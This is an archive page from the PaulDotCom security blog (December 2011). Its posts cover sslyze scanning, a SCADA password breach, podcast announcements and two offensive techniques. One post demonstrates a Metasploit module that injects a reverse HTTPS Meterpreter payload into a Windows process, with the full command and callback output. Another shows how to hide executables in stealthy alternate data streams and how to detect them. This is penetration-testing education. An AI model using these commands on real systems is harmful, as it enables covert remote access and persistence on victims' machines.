Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.0735.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.1942.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.1942.xml to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3813.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3833.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3840.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3913.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0514.log to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0514.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.log to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.1942.log to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.1942.rc to archive
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_spool.log to archive
All files saved to /Users/carlos/.msf4/logs/archives/pauldotcom_20111215.1942.zip
MD5 for archive is 97638701e10d9ca8a4f7684bfc1f5d73
Spooling re-enabled
Spooling to file /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_spool.log...
msf  exploit(handler) >  >  >

Injecting Payloads into Memory

Carlos Perez

on December 16, 2011 3:07 PM | Permalink

Markdown Preview

Recently at Derbycon 2010 I had a chance to see Egyp7 (James Lee) from the metasploit project do some demos for students of his Metasploit class and I saw he was using the multimeterinject script I wrote to create a secondary shell in case the main one died. I also saw that on 64bit systems it was a pain because it just failed silently, did not gave any warning. On my flight back from the conference I thought that injecting not only a Meterpreter payload could be quite useful, specially when one wishes to have a GUI access on the box but enabling RDP would be to risky one could inject a VNC payload, so I wrote a post module called payload_inject. The module has the capability of:

Injecting a Windows Payload in to 32bit and 64bit Processes.
Check that both the payload and the process are of the same architecture.
Start a temporary process with the appropriate architecture.
Be able to provide a flexible option list since different payloads have different options.

So payload_inject was born in a flight from Kentucky to Puerto Rico.

Lets start by looking at the module and it's options from inside a Meterpreter session:

msf  post(persistence) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > info post/windows/manage/payload_inject

       Name: Windows Manage Memory Payload Injection Module
     Module: post/windows/manage/payload_inject
    Version: 14039
   Platform: Windows
       Arch:
       Rank: Normal

Provided by:
  Carlos Perez <carlos_perez@darkoperator.com>

Description:
  This module will inject into the memory of a process a specified
  windows payload. If a payload or process is not provided one will be
  created by default using a reverse x86 TCP Meterpreter Payload.




Module options (post/windows/manage/payload_inject):

   Name     Current Setting                  Required  Description
   ----     ---------------                  --------  -----------
   HANDLER  false                            no        Start an Exploit Multi Handler to receive the connection
   LHOST                                     yes       IP of host that will receive the connection from the payload.
   LPORT    4433                             no        Port for Payload to connect to.
   OPTIONS                                   no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
   PAYLOAD  windows/meterpreter/reverse_tcp  no        Windows Payload to inject into memory of a process.
   PID                                       no        Process Identifier to inject of process to inject payload.
       SESSION                                   yes       The session to run this module on.

Now that we see that are the options available lets load a reverse HTTPS session in a persistent way in memory as our secondary shell:

meterpreter > run post/windows/manage/payload_inject PAYLOAD=windows/meterpreter/reverse_https,LHOST=192.168.1.100,LPORT=3334,HANDLER=true,OPTIONS='SessionCommunicationTimeout=0,SessionExpirationTimeout=0,PID=3384'

[*] Running module against WIN701
[*] Starting exploit multi handler
[*] Performing Architecture Check
[*] Started HTTPS reverse handler on https://192.168.1.100:3334/
[*] Starting the payload handler...
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager into process ID 3384
[*] Opening process 3384
[*] Generating payload
[*] Allocating memory in process 3384
[*] Allocated memory at address 0x006e0000, for 369 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 3384
meterpreter >
[*] 192.168.1.138:37854 Request received for /INITM...
[*] 192.168.1.138:37854 Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:37854) at 2011-10-28 17:47:46 -0400

One of the things I like about the HTTPS sessions is that I can detach from one and reconnect later to it by just bringing up a listener:

meterpreter > background
msf  post(persistence) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > detach

[*] Meterpreter session 7 closed.  Reason: User exit
msf  post(persistence) >
[*] 192.168.1.138:48859 Request received for /CONN_bPXZiVo1IOWy8xFv/...
[*] Incoming orphaned session CONN_bPXZiVo1IOWy8xFv, reattaching...
[*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:48859) at 2011-10-28 17:55:12 -0400

We can do the same with any Windows compatible payload. I hope you find the module useful.

Episode 270 with Tim Medin tonight at 6PM

Mike Perez

on December 15, 2011 7:30 AM | Permalink

Join us tonight at 6PM ET as we feature a Special Guest Technical Segment and interview with Tim Medin of the Command Line Kung Fu Blog for Episode 270 of PaulDotCom Security Weekly!

Participate in our IRC channel or sit back and enjoy it live via the link below:

NOTE: The video will play the most recent show up until we are live!

For interactive live video, audio, and chat during each episode you can visit PaulDotCom Live!, just hang out in our IRC channel, or if you prefer, visit the Episode 270 show notes page.

- Paul Asadoorian, Larry Pesce, Jack Daniel. Carlos Perez, John Strand, Darren Wigley, and Mike Perez.

PaulDotCom Security Weekly Episode 269

Paul Asadoorian

on December 12, 2011 9:20 PM | Permalink

Katie Moussouris, leader of the Security Community Outreach and Strategy team at Microsoft:

Video for this segment was missing some audio and video was out of sync, apologies to our viewers!

John Strand does a Tech Segment on CSRF:

Paul and Jack try to hold things together for the stories of the week, and fail:

Episode 269 Show Notes

Episode 269 Part 1- Direct Audio Download

Episode 269 Part 2- Direct Audio Download

Episode Hosts:

Paul Asadoorian, Host of Security Weekly and Stogie Geeks

Larry Pesce, Host of Hack Naked At Nite

Jack Daniel, Security B-Sides

John Strand, Host of Hack Naked TV

Carlos Perez, Host of PaulDotCom Espanol

Tune in to PaulDotCom Security Weekly TV, Hack Naked TV, and Hack Naked At Night episodes on our Bliptv channel.

Audio Feeds:

Video Feeds:

Testing Your SSL Configuration with sslyze

Jason Wood

on December 11, 2011 12:16 AM | Permalink

Here's a handy tool to double check the SSL configuration of your web server. You've got the host stood up, an SSL certificate deployed, but you're not quite sure what options SSL is offering. Enter sslyze, a cross platform utility written in Python. Simply download the code from http://code.google.com/p/sslyze/, extract the archive and run from the command line.

I setup a generic web server running a self-signed certificate to test it out. Oddly enough, the cert is listed as not trusted. I found that running it without root permissions resulted in a lot of permissions errors and it didn't execute. Once I added sudo to the mix, it worked very well and very fast.


sudo python sslyze.py --regular 192.168.1.99:443

Password:
REGISTERING AVAILABLE PLUGINS
-----------------------------
 
PluginCertInfo - OK
   
PluginOpenSSLCipherSuites - OK
   
PluginSessionRenegotiation - OK
   
PluginSessionResumption - OK


 
CHECKING HOST(S) AVAILABILITY
-----------------------------
 
192.168.1.99:443                    => 192.168.1.99:443


 
SCAN RESULTS FOR 192.168.1.99:443 - 192.168.1.99:443

----------------------------------------------------
 
 * Session Renegotiation :
       
      Client-initiated Renegotiations:    Rejected

      Secure Renegotiation:                 Supported


 * Session Resumption :
      
      Using SSLv3 Session IDs:           Supported

      Using TLSv1 Session Tickets:     Supported

      Using TLSv1 Session IDs:           Supported



 * SSLV2 Cipher Suites :

        Cipher Suite:                             SSL Handshake:           HTTP GET:

        DES-CBC3-MD5  168bits                    Preferred               200 OK

        RC4-MD5  128bits                              Accepted                200 OK

        RC2-CBC-MD5  128bits                     Accepted                200 OK

        EXP-RC4-MD5  40bits                        Accepted                200 OK

        EXP-RC2-CBC-MD5  40bits               Accepted                200 OK

        DES-CBC-MD5  56bits                       Accepted                200 OK 



 * SSLV3 Cipher Suites :

        Cipher Suite:                             SSL Handshake:           HTTP GET:

        DHE-RSA-AES256-SHA  256bits       Preferred               200 OK

        RC4-SHA  128bits                             Accepted                200 OK

        RC4-MD5  128bits                             Accepted                200 OK

        EXP-RC4-MD5  40bits                       Accepted                200 OK

        EXP-RC2-CBC-MD5  40bits              Accepted                200 OK

        EXP-EDH-RSA-DES-CBC-SHA  40bits              Accepted                200 OK

        EXP-DES-CBC-SHA  40bits               Accepted                200 OK

        EDH-RSA-DES-CBC3-SHA  168bits                Accepted                200 OK

        EDH-RSA-DES-CBC-SHA  56bits                  Accepted                200 OK

        DHE-RSA-AES128-SHA  128bits                  Accepted                200 OK

        DES-CBC3-SHA  168bits                        Accepted                200 OK

        DES-CBC-SHA  56bits                          Accepted                200 OK

        AES256-SHA  256bits                          Accepted                200 OK

        AES128-SHA  128bits                          Accepted                200 OK

        SEED-SHA                               Rejected - SSL Alert           N/A

        NULL-SHA                               Rejected - SSL Alert           N/A

        NULL-MD5                               Rejected - SSL Alert           N/A

        EXP-EDH-DSS-DES-CBC-SHA                Rejected - SSL Alert           N/A

        EXP-ADH-RC4-MD5                        Rejected - SSL Alert           N/A

        EXP-ADH-DES-CBC-SHA                    Rejected - SSL Alert           N/A

        EDH-DSS-DES-CBC3-SHA                   Rejected - SSL Alert           N/A

        EDH-DSS-DES-CBC-SHA                    Rejected - SSL Alert           N/A

        DHE-RSA-SEED-SHA                       Rejected - SSL Alert           N/A

        DHE-DSS-SEED-SHA                       Rejected - SSL Alert           N/A

        DHE-DSS-AES256-SHA                     Rejected - SSL Alert           N/A

        DHE-DSS-AES128-SHA                     Rejected - SSL Alert           N/A

        ADH-SEED-SHA                           Rejected - SSL Alert           N/A

        ADH-RC4-MD5                            Rejected - SSL Alert           N/A

        ADH-DES-CBC3-SHA                       Rejected - SSL Alert           N/A

        ADH-DES-CBC-SHA                        Rejected - SSL Alert           N/A

        ADH-AES256-SHA                         Rejected - SSL Alert           N/A

        ADH-AES128-SHA                         Rejected - SSL Alert           N/A



 * TLSV1 Cipher Suites :

      Cipher Suite:                             SSL Handshake:           HTTP GET:

      DHE-RSA-AES256-SHA  256bits                  Preferred               200 OK

      RC4-SHA  128bits                             Accepted                200 OK

      RC4-MD5  128bits                             Accepted                200 OK

      EXP-RC4-MD5  40bits                          Accepted                200 OK

      EXP-RC2-CBC-MD5  40bits                      Accepted                200 OK

      EXP-EDH-RSA-DES-CBC-SHA  40bits              Accepted                200 OK

      EXP-DES-CBC-SHA  40bits                      Accepted                200 OK

      EDH-RSA-DES-CBC3-SHA  168bits                Accepted                200 OK

      EDH-RSA-DES-CBC-SHA  56bits                  Accepted                200 OK

      DHE-RSA-AES128-SHA  128bits                  Accepted                200 OK

      DES-CBC3-SHA  168bits                        Accepted                200 OK

      DES-CBC-SHA  56bits                          Accepted                200 OK

      AES256-SHA  256bits                          Accepted                200 OK

      AES128-SHA  128bits                          Accepted                200 OK

      SEED-SHA                               Rejected - SSL Alert           N/A

      NULL-SHA                               Rejected - SSL Alert           N/A

      NULL-MD5                               Rejected - SSL Alert           N/A

      EXP-EDH-DSS-DES-CBC-SHA                Rejected - SSL Alert           N/A

      EXP-ADH-RC4-MD5                        Rejected - SSL Alert           N/A

      EXP-ADH-DES-CBC-SHA                    Rejected - SSL Alert           N/A

      EDH-DSS-DES-CBC3-SHA                   Rejected - SSL Alert           N/A

      EDH-DSS-DES-CBC-SHA                    Rejected - SSL Alert           N/A

      DHE-RSA-SEED-SHA                       Rejected - SSL Alert           N/A

      DHE-DSS-SEED-SHA                       Rejected - SSL Alert           N/A

      DHE-DSS-AES256-SHA                     Rejected - SSL Alert           N/A

      DHE-DSS-AES128-SHA                     Rejected - SSL Alert           N/A

      ADH-SEED-SHA                           Rejected - SSL Alert           N/A

      ADH-RC4-MD5                            Rejected - SSL Alert           N/A

      ADH-DES-CBC3-SHA                       Rejected - SSL Alert           N/A

      ADH-DES-CBC-SHA                        Rejected - SSL Alert           N/A

      ADH-AES256-SHA                         Rejected - SSL Alert           N/A

      ADH-AES128-SHA                         Rejected - SSL Alert           N/A



 * Certificate :

     Validation w/ Mozilla's CA Store:  Certificate is NOT Trusted
 
     Subject CN:                        testweb

     Issuer:                            /C=US/ST=Utah/L=Layton/O=Foo/OU=Bar/CN=ssl.testdomain.com

     Serial Number:                     BED13023A4F44702

     Not before:                        Nov 30 04:17:55 2011 GMT

     Not after:                         Nov 29 04:17:55 2012 GMT

     Keysize:                           1024 bits

     Signature Algorithm:               sha1WithRSAEncryption

     Version:                           1 (0x0)

     SHA1 Fingerprint:                  AD1F472A0C43A77FBBA861476C0E740A5FA3516A

     Number of Extensions:              0

 
SCAN COMPLETED IN 0.71 S

------------------------

Follow me on Twitter: @Jason_Wood

Hack Naked TV Episode 21

John Strand

on December 6, 2011 3:41 PM | Permalink

In this episode of Hack Naked TV we discuss some new features of Burp. Sometimes we do news stories. Sometimes we do tech videos. I believe we will be mixing it up to help prevent burnout.

In this episode we look at Burps awesome Cross Site Request Forgery POC functionality and we will also look at a new feature where it will show you where different parameters exist on a site.

We will be doing a full discussion of these features on PaulDotCom this Thursday!

-strandjs

Video Feeds:

PaulDotCom Security Weekly Episode 268

Paul Asadoorian

on December 5, 2011 9:05 PM | Permalink

Scott Moulton on hard drive forensics:

Core Security Technologies research team tell us about bypassing the OS X sandbox:

Paul, Larry, and Jack talk about the stories for the week:

Episode 268 Show Notes

Episode 268 Part 1- Direct Audio Download

Episode 268 Part 2- Direct Audio Download

Episode Hosts:

Paul Asadoorian, Host of Security Weekly and Stogie Geeks

Larry Pesce, Host of Hack Naked At Nite

Jack Daniel, Security B-Sides

John Strand, Host of Hack Naked TV

Carlos Perez, Host of PaulDotCom Espanol

Tune in to PaulDotCom Security Weekly TV, Hack Naked TV, and Hack Naked At Night episodes on our Bliptv channel.

Audio Feeds:

Video Feeds:

Looking for Stealth ADS streams

Mark Baggett

on December 5, 2011 10:25 AM | Permalink

Someone stopped me in the hall this morning to ask about the talk Tim Tomes and I gave recently at Hackercon called "Lurking in the Shadows". In that talk Tim and I discuss hiding Malware in Volume Shadow Copies and executing directly from the Volume Shadow Copies.

http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows

In our talk we also discuss Matt Graeber's awesome discovery of embedded ADS streams in reserved names.

http://www.exploit-monday.com/2011/09/stealth-alternate-data-streams-and.html

A bit of history: Last year after watching Dan Crowly's talk about bypassing IDS signatures using Kernel Device Object names I discovered that I could use those device names to create file object with reserved device names such as "CON", "AUX", "LPT1", etc. Since these names have special meaning, Windows will not normally allow you to create files with those names. But by prepending our path with "\\?\" we can bypass that restriction. Old school UnIx hackers can even create a ".. " (dot dot space) directory using the syntax mkdir \\?\c:\temp\".. ". Once these files are created, they are very difficult for someone to delete who doesn't know about the "\\?\" syntax. Then Matt discovered that if you add an alternate data stream to the reserved names that they are hidden from a "dir /r"





C:\temp>mkdir \\?\c:\temp\".. "

C:\temp>echo "dodge this" > \\?\c:\temp\CON

C:\temp>echo "Matt's Stealth stream" > \\?\c:\temp\CON:stream1.txt

C:\temp>type \tools\putty.exe > \\?\c:\temp\CON:putty.exe

C:\temp>dir /r c:\temp\

 Volume in drive C has no label.

 Volume Serial Number is 2CE0-6D68

 Directory of c:\temp

12/05/2011  09:41 AM    <DIR>          .

12/05/2011  09:41 AM    <DIR>          ..

12/05/2011  09:41 AM    <DIR>          ..

11/10/2011  03:08 PM    <SYMLINKD>     AUX [...]

11/20/2011  09:44 PM                13 CON

10/28/2011  01:10 PM                 9 file.txt

                               483,328 file.txt:putty.exe:$DATA

11/21/2011  08:57 AM    <SYMLINKD>     tofile [c:\temp\file.txt]

               2 File(s)             22 bytes

               4 Dir(s)  21,102,100,480 bytes free

In this directory there is a file called "CON" that has some alternate data streams attached to it. Even though "dir /r" shows you the ADS attached to "file.txt" it doesn't show you the ADS attached to CON. There is also a file called "AUX" in this folder that is a symbolic link to somewhere, but it doesn't tell us where. These "reserve device name" files are difficult to use if you don't know to prepend your commands with "\\?\". But with the correct syntax you can access data stored in these files or execute programs stored in the streams.

NOTE: Although it is not the focus of this post, the reserved name of ".. " (dot dot space) has some interesting attribute. You can't change into that directory from the command prompt (ie cd \\?\c:\temp\".. "\ doesn't work). But you can put files in to the directory and execute files from the directory! If you try to browse the directory with Explorer it behaves oddly and doesn't change to that directory the FIRST time you click it, but it does the SECOND time. When you drill down and see the files in that directory, you will only have a very limited ability to interact with them.

Back to our story.. This morning someone asked if there was any way to detect the use of Stealth ADS Streams using built in tools. The answer is, "of course!" If you provide "dir /r" with the full path to a directory and you prepend the directory with "\\?\" you will be able to see the otherwise hidden Alternate Data Stream.





C:\temp>dir /r \\?\c:\temp\

 Volume in drive \\?\c: has no label.

 Volume Serial Number is 2CE0-6D68

 Directory of \\?\c:\temp

12/05/2011  09:41 AM    <DIR>          .

12/05/2011  09:41 AM    <DIR>          ..

12/05/2011  09:41 AM    <DIR>          ..

11/10/2011  03:08 PM    <SYMLINKD>     AUX [\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\]

11/20/2011  09:44 PM                13 CON

                               483,328 CON:putty.exe:$DATA

                                    13 CON:stream1.txt:$DATA

10/28/2011  01:10 PM                 9 file.txt

                               483,328 file.txt:putty.exe:$DATA

11/21/2011  08:57 AM    <SYMLINKD>     tofile [c:\temp\file.txt]

               2 File(s)             22 bytes

               4 Dir(s)  21,102,100,480 bytes free

C:\temp>

Notice that this time we see the streams attached to the CON file. We can also see that the AUX file points to a device name for a volume shadow copy. I wonder what that is all about. :)

Follow me on Twitter @MarkBaggett

Join me and Ed Skoudis for SANS 560 Network Penetration Testing and Ethical Hacking vLive ! Starting January 10, 2012 CLICK HERE for more information.

SCADA System + 3 Character Password = PWNED

Jason Wood

on December 4, 2011 11:05 PM | Permalink

Ok, really anything with a 3 character password is going to get compromised, but it being a SCADA system just makes this a bit more insane. The basics of this is that the city of South Houston made their water control system accessible from the internet and "protected" it with a 3 character password. Sure enough, someone poked around at it a bit and got access to it. Could have been messy if an attacker decided to cause some problems. Can you imagine what it would be like when all the toilets in town suddenly can't flush because the water is shut down? Yech!

Toilet Down!

What I suspect happened is that whoever was managing this system just wasn't thinking about what they were doing. Maybe they got in a hurry when doing the install and forgot to go back and reset the password. Or they (incorrectly) decided that since this was an internal system, they didn't need a good password. Then later it was decided to allow access to the management interface to the internet.

Either way this whole thing was bad. It could have been avoided with some basic procedures and controls. Things like using a reasonable password and not putting any management interface directly online come to mind quickly. If you really do need remote access to such an interface, then use some kind of VPN to do so. It doesn't really take that long to do and is at least a start on performing some due care.

Time for some folks to take a step back, learn some basics and then start trying to fix some stuff. Aim for good security practices at first, then start worrying about some of the more difficult attacks to defend against.

Link - https://threatpost.com/en_us/blogs/hacker-says-texas-town-used-three-digit-password-secure-internet-facing-scada-system-112011

Episode 268 with Scott Moulton & Corelabs tonight at 6PM

Mike Perez

on December 1, 2011 7:30 AM | Permalink

Join us tonight at 6PM ET as we feature a Special Guest Technical Segment from Ariel Waissbein, Anibal Sacco, and Matias Eissler from CoreLabs to discuss OS X sandbox bypassing, as well as an interview with Forenics and Hard Drive expert Scott Moulton for Episode 268 of PaulDotCom Security Weekly!

Participate in our IRC channel or sit back and enjoy it live via the link below:

NOTE: The video will play the most recent show up until we are live!

For interactive live video, audio, and chat during each episode you can visit PaulDotCom Live!, just hang out in our IRC channel, or if you prefer, visit the Episode 267 show notes page.

- Paul Asadoorian, Larry Pesce, Jack Daniel. Carlos Perez, John Strand, Darren Wigley, and Mike Perez.

« November 2011 | Main Index | Archives | January 2012 »

Recent Posts

December 2011 Archives

Projects

Creating a new project